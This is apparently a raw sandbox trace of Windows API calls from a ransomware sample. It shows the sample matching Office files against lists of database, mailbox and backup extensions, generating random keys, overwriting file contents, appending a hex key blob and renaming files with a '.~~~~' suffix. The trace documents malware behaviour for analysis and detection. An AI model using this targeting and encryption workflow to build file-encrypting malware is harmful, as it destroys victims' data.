	[0135.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".DBS") returned 0x0
	[0135.563] lstrlenW (lpString=".CKP") returned 4
	[0135.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".CKP") returned 0x0
	[0135.564] lstrlenW (lpString=".edb") returned 4
	[0135.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".edb") returned 0x0
	[0135.564] lstrlenW (lpString=".PST") returned 4
	[0135.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".PST") returned 0x0
	[0135.564] lstrlenW (lpString=".dbf") returned 4
	[0135.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".dbf") returned 0x0
	[0135.564] lstrlenW (lpString=".SQL") returned 4
	[0135.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".SQL") returned 0x0
	[0135.564] lstrlenW (lpString=".pst") returned 4
	[0135.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".pst") returned 0x0
	[0135.564] lstrlenW (lpString=".dbv") returned 4
	[0135.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".dbv") returned 0x0
	[0135.564] lstrlenW (lpString=".SDF") returned 4
	[0135.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".SDF") returned 0x0
	[0135.564] lstrlenW (lpString=".dtxs") returned 5
	[0135.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".dtxs") returned 0x0
	[0135.564] lstrlenW (lpString=".db3") returned 4
	[0135.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".db3") returned 0x0
	[0135.564] lstrlenW (lpString=".OST") returned 4
	[0135.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".OST") returned 0x0
	[0135.564] lstrlenW (lpString=".dbx") returned 4
	[0135.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".dbx") returned 0x0
	[0135.564] lstrlenW (lpString=".DB3") returned 4
	[0135.565] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".DB3") returned 0x0
	[0135.565] lstrlenW (lpString=".DAT") returned 4
	[0135.565] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".DAT") returned 0x0
	[0135.565] lstrlenW (lpString=".VHDX") returned 5
	[0135.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".VHDX") returned 0x0
	[0135.566] lstrlenW (lpString=".ndf") returned 4
	[0135.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".ndf") returned 0x0
	[0135.566] lstrlenW (lpString=".DB") returned 3
	[0135.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".DB") returned 0x0
	[0135.567] lstrlenW (lpString=".sql") returned 4
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".sql") returned 0x0
	[0135.567] lstrlenW (lpString=".MYD") returned 4
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".MYD") returned 0x0
	[0135.567] lstrlenW (lpString=".DBT") returned 4
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".DBT") returned 0x0
	[0135.567] lstrlenW (lpString=".ACCDB") returned 6
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".ACCDB") returned 0x0
	[0135.567] lstrlenW (lpString=".fdb") returned 4
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".fdb") returned 0x0
	[0135.567] lstrlenW (lpString=".bak") returned 4
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".bak") returned 0x0
	[0135.567] lstrlenW (lpString=".myd") returned 4
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".myd") returned 0x0
	[0135.567] lstrlenW (lpString=".DTXS") returned 5
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".DTXS") returned 0x0
	[0135.567] lstrlenW (lpString=".ckp") returned 4
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".ckp") returned 0x0
	[0135.567] lstrlenW (lpString=".dbt") returned 4
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".dbt") returned 0x0
	[0135.567] lstrlenW (lpString=".db") returned 3
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".db") returned 0x0
	[0135.567] lstrlenW (lpString=".TXT") returned 4
	[0135.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".TXT") returned 0x0
	[0135.568] lstrlenW (lpString=".MDF") returned 4
	[0135.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".MDF") returned 0x0
	[0135.568] lstrlenW (lpString=".bdb") returned 4
	[0135.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".bdb") returned 0x0
	[0135.568] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0135.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.568] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2908538) returned 1
	[0135.569] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.569] CryptReleaseContext (hProv=0x2908538, dwFlags=0x0) returned 1
	[0135.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0135.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0135.570] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25555971517) returned 1
	[0135.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xba3ecd30, dwHighDateTime=0x1d60e1e)) 
	[0135.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0135.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0135.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0135.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4ac0
	[0135.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4ac0 | out: hHeap=0x300000) returned 1
	[0135.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0135.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.571] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0135.571] GetLastError () returned 0x0
	[0135.571] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0135.571] GetLastError () returned 0x0
	[0135.614] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.614] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0135.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.615] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.615] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.748] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.748] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.748] CloseHandle (hObject=0x114) returned 1
	[0135.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0135.748] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.~~~~")) returned 1
	[0135.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a85f8 | out: hHeap=0x300000) returned 1
	[0135.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0135.772] GetLastError () returned 0x0
	[0135.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".scr") returned 0x0
	[0135.772] lstrlenW (lpString=".cmd") returned 4
	[0135.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".cmd") returned 0x0
	[0135.772] lstrlenW (lpString=".dll") returned 4
	[0135.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".dll") returned 0x0
	[0135.772] lstrlenW (lpString=".bat") returned 4
	[0135.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".bat") returned 0x0
	[0135.772] lstrlenW (lpString=".cpl") returned 4
	[0135.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".cpl") returned 0x0
	[0135.772] lstrlenW (lpString=".sys") returned 4
	[0135.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".sys") returned 0x0
	[0135.772] lstrlenW (lpString=".msc") returned 4
	[0135.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".msc") returned 0x0
	[0135.772] lstrlenW (lpString=".com") returned 4
	[0135.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".com") returned 0x0
	[0135.773] lstrlenW (lpString=".lnk") returned 4
	[0135.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".lnk") returned 0x0
	[0135.773] lstrlenW (lpString=".msp") returned 4
	[0135.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".msp") returned 0x0
	[0135.773] lstrlenW (lpString=".pif") returned 4
	[0135.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".pif") returned 0x0
	[0135.773] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch="msp\r\n.pif") returned 0x0
	[0135.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0135.775] lstrlenW (lpString=".sqb") returned 4
	[0135.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".sqb") returned 0x0
	[0135.775] lstrlenW (lpString=".ost") returned 4
	[0135.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".ost") returned 0x0
	[0135.775] lstrlenW (lpString=".txt") returned 4
	[0135.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".txt") returned 0x0
	[0135.775] lstrlenW (lpString=".mdt") returned 4
	[0135.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".mdt") returned 0x0
	[0135.775] lstrlenW (lpString=".BDB") returned 4
	[0135.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".BDB") returned 0x0
	[0135.775] lstrlenW (lpString=".eql") returned 4
	[0135.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".eql") returned 0x0
	[0135.776] lstrlenW (lpString=".DBF") returned 4
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".DBF") returned 0x0
	[0135.776] lstrlenW (lpString=".EQL") returned 4
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".EQL") returned 0x0
	[0135.776] lstrlenW (lpString=".FDB") returned 4
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".FDB") returned 0x0
	[0135.776] lstrlenW (lpString=".EDB") returned 4
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".EDB") returned 0x0
	[0135.776] lstrlenW (lpString=".DACPAC") returned 7
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".DACPAC") returned 0x0
	[0135.776] lstrlenW (lpString=".VHD") returned 4
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".VHD") returned 0x0
	[0135.776] lstrlenW (lpString=".DBV") returned 4
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".DBV") returned 0x0
	[0135.776] lstrlenW (lpString=".dacpac") returned 7
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".dacpac") returned 0x0
	[0135.776] lstrlenW (lpString=".sdf") returned 4
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".sdf") returned 0x0
	[0135.776] lstrlenW (lpString=".accdb") returned 6
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".accdb") returned 0x0
	[0135.776] lstrlenW (lpString=".DBX") returned 4
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".DBX") returned 0x0
	[0135.776] lstrlenW (lpString=".MDT") returned 4
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".MDT") returned 0x0
	[0135.776] lstrlenW (lpString=".SQB") returned 4
	[0135.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".SQB") returned 0x0
	[0135.776] lstrlenW (lpString=".vhd") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".vhd") returned 0x0
	[0135.777] lstrlenW (lpString=".bac") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".bac") returned 0x0
	[0135.777] lstrlenW (lpString=".mdf") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".mdf") returned 0x0
	[0135.777] lstrlenW (lpString=".BAK") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".BAK") returned 0x0
	[0135.777] lstrlenW (lpString=".BAC") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".BAC") returned 0x0
	[0135.777] lstrlenW (lpString=".dbs") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".dbs") returned 0x0
	[0135.777] lstrlenW (lpString=".vhdx") returned 5
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".vhdx") returned 0x0
	[0135.777] lstrlenW (lpString=".NDF") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".NDF") returned 0x0
	[0135.777] lstrlenW (lpString=".dat") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".dat") returned 0x0
	[0135.777] lstrlenW (lpString=".DBS") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".DBS") returned 0x0
	[0135.777] lstrlenW (lpString=".CKP") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".CKP") returned 0x0
	[0135.777] lstrlenW (lpString=".edb") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".edb") returned 0x0
	[0135.777] lstrlenW (lpString=".PST") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".PST") returned 0x0
	[0135.777] lstrlenW (lpString=".dbf") returned 4
	[0135.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".dbf") returned 0x0
	[0135.777] lstrlenW (lpString=".SQL") returned 4
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".SQL") returned 0x0
	[0135.778] lstrlenW (lpString=".pst") returned 4
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".pst") returned 0x0
	[0135.778] lstrlenW (lpString=".dbv") returned 4
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".dbv") returned 0x0
	[0135.778] lstrlenW (lpString=".SDF") returned 4
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".SDF") returned 0x0
	[0135.778] lstrlenW (lpString=".dtxs") returned 5
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".dtxs") returned 0x0
	[0135.778] lstrlenW (lpString=".db3") returned 4
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".db3") returned 0x0
	[0135.778] lstrlenW (lpString=".OST") returned 4
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".OST") returned 0x0
	[0135.778] lstrlenW (lpString=".dbx") returned 4
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".dbx") returned 0x0
	[0135.778] lstrlenW (lpString=".DB3") returned 4
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".DB3") returned 0x0
	[0135.778] lstrlenW (lpString=".DAT") returned 4
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".DAT") returned 0x0
	[0135.778] lstrlenW (lpString=".VHDX") returned 5
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".VHDX") returned 0x0
	[0135.778] lstrlenW (lpString=".ndf") returned 4
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".ndf") returned 0x0
	[0135.778] lstrlenW (lpString=".DB") returned 3
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".DB") returned 0x0
	[0135.778] lstrlenW (lpString=".sql") returned 4
	[0135.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".sql") returned 0x0
	[0135.779] lstrlenW (lpString=".MYD") returned 4
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".MYD") returned 0x0
	[0135.779] lstrlenW (lpString=".DBT") returned 4
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".DBT") returned 0x0
	[0135.779] lstrlenW (lpString=".ACCDB") returned 6
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".ACCDB") returned 0x0
	[0135.779] lstrlenW (lpString=".fdb") returned 4
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".fdb") returned 0x0
	[0135.779] lstrlenW (lpString=".bak") returned 4
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".bak") returned 0x0
	[0135.779] lstrlenW (lpString=".myd") returned 4
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".myd") returned 0x0
	[0135.779] lstrlenW (lpString=".DTXS") returned 5
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".DTXS") returned 0x0
	[0135.779] lstrlenW (lpString=".ckp") returned 4
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".ckp") returned 0x0
	[0135.779] lstrlenW (lpString=".dbt") returned 4
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".dbt") returned 0x0
	[0135.779] lstrlenW (lpString=".db") returned 3
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".db") returned 0x0
	[0135.779] lstrlenW (lpString=".TXT") returned 4
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".TXT") returned 0x0
	[0135.779] lstrlenW (lpString=".MDF") returned 4
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".MDF") returned 0x0
	[0135.779] lstrlenW (lpString=".bdb") returned 4
	[0135.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".bdb") returned 0x0
